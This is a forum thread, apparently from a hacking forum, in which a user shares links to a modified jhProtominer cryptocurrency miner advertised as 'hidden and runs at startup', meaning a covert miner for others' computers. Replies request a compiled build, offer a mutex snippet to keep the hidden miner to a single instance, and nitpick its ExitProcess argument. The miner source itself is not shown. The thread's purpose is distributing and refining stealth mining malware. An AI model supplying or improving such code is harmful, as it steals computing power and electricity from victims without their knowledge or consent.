Login Register


Modified jhProtominer Source Code filter_list
Author
Message
Modified jhProtominer Source Code #1
Hidden and runs at startup.
Nothing special...
https://anonfiles.com/file/e966bde965cc8...845b0dbd8a

Reply

RE: Modified jhProtominer Source Code #2
May I ask why there is no part of the code that prevents it from executing itself multiple times?

all it takes is this

Code:
void check_already_running(wchar_t *cMutexName, HANDLE *hMutex) { *hMutex = CreateMutexW(NULL, true, cMutexName); if(ERROR_ALREADY_EXISTS == GetLastError()) ExitProcess(NULL); }
[Image: Z9DvuyJ.png]

Reply

RE: Modified jhProtominer Source Code #3
dl link dead to me, could you upload a compiled version too maybe? ty
[Image: 75eWJ.jpg]
"Be careful what you wish for."

Reply

RE: Modified jhProtominer Source Code #4
(06-10-2014, 11:38 PM)Alexaider Wrote: dl link dead to me, could you upload a compiled version too maybe? ty

Fixed link:

https://anonfiles.com/file/61afd94c4e156...efa5b856b6

The project file itself, you need MSVC to compile this.
[Image: Z9DvuyJ.png]

Reply

RE: Modified jhProtominer Source Code #5
(06-10-2014, 10:05 AM)xornull Wrote: May I ask why there is no part of the code that prevents it from executing itself multiple times?

all it takes is this

Code:
void check_already_running(wchar_t *cMutexName, HANDLE *hMutex) { *hMutex = CreateMutexW(NULL, true, cMutexName); if(ERROR_ALREADY_EXISTS == GetLastError()) ExitProcess(NULL); }

ExitProcess takes a UINT as a parameter, not a pointer type -- NULL.

Reply

RE: Modified jhProtominer Source Code #6
(06-30-2014, 12:24 AM)0xDEAD10CC Wrote: ExitProcess takes a UINT as a parameter, not a pointer type -- NULL.

yes i found that out long ago, i dont write null in it anymore..
[Image: Z9DvuyJ.png]

Reply







Users browsing this thread: